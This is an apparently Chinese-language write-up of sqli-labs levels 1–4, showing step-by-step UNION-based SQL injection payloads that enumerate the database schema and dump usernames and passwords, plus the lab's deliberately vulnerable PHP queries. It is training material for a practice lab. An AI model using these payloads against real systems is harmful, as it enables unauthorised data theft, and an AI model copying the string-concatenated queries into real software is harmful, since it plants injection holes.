sqli-labs:Less 1 ~ 4

Less 1~4 都是使用 GET 方法传参,根据 MySQL 的报错信息判断注入类型,再进行注入。

Less 1

基于错误的 GET 单引号字符型注入

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

?id=1

尝试注入个单引号闭合,网页回显MySQL报错,说明存在注入漏洞。

?id=1'

接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页回显了正确的信息。也就是说我们注入的单引号起到了一个闭合的作用,这是一个字符型注入

?id=1'--+

获取数据库信息

判断表有几列,使用order by子句进行一个排序,看一下对几列有效,测试到第 4 列无回显,说明表中一共有 3 列。

?id=1' order by 3--+

判断哪些列是我们能用的,首先令 id 参数为负数(为了查询不到结果),然后使用union进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99' UNION SELECT 1,2,3--+

查询库名,得到库名security

?id=-1' union select 1,2,database() --+

查询表名,得到表名:emails,referers,uagents,users

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
#'security' = 0x7365637572697479(如果过滤了单引号,则用16进制表示)

爆破users表的字段名,得到字段名:id,username,password

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
#'users' = 0x7573657273
#如果不加字段table_schema='security',那么会将其他数据库里users的字段也爆出来

image-20240807151944697

获取目标信息

users表中存在用户名和密码这种敏感信息,接下来爆破这些信息

?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users--+
#':' = 0x3a
#concat_ws(分隔符,列名1,列名2)

image-20240807153546326

关卡SQL查询语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

Less 2

基于错误的GET整型注入

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

?id=1

尝试注入个单引号闭合,网页回显 MySQL报错,说明存在注入漏洞。

?id=1'

接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。也就是说我们注入的单引号没有起到闭合的作用,这是一个数字型注入。数字型注入和字符型的区别在于我们不需要用单引号去闭合,其他操作步骤和 Less 1 相同。

?id=1'--+

获取数据库信息

判断表有几列,使用order by子句进行一个排序,测试到第 4 列无回显,说明表中一共有 3 列。

?id=1 order by 3

令 id 参数的查询不到结果,然后使用union select进行组合查询,网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=-1 union select 1,2,3

爆数据库名,我们选择第 2 个位置作为显示位。

?id=-1 union select 1,database(),3

image-20240807154906321

爆表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

image-20240807155230434

爆users表的字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

image-20240807155925656

获取目标信息

爆出users表中的信息

?id=-1 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users

image-20240807160149244

关卡SQL查询语句

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

Less 3

基于错误的 GET 单引号变形字符型注入

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

?id=1

尝试注入个单引号闭合,网页回显 MySQL报错,说明存在注入漏洞。

?id=1'

image-20240807160926506

根据报错信息我们需要一个括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。

?id=1')--+

image-20240807161157126

获取数据库信息

判断表有几列,使用order by子句进行一个排序,测试到第 4 列无回显,说明表中一共有 3 列。

?id=1') order by 3 --+

爆数据库名,我们选择第 3 个位置作为显示位。

?id=-1') union select 1,2,database() --+

…除了多一个) 外,步骤与Less 1完全相同

获取目标信息

同Less 1

关卡SQL查询语句

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

Less 4

基于错误的 GET 双引号字符型注入

判断注入类型

依次尝试注入

?id=1
?id=1'
?id=1"

尝试注入个双引号闭合时,网页回显 MySQL报错,说明存在注入漏洞。

image-20240807162300567

根据报错信息,可以看到此处还存在括号,因此我们需要使用双引号和括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。

?id=1") --+

获取数据库信息

判断表有几列,使用order by子句进行一个排序,测试到第 4 列无回显,说明表中一共有 3 列。

?id=1") order by 3 --+

爆数据库名,我们选择第 3 个位置作为显示位。

?id=-1") union select 1,2,database() --+

…除了采用")闭合 外,步骤与Less 1完全相同

获取目标信息

同Less 1

关卡SQL查询语句

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}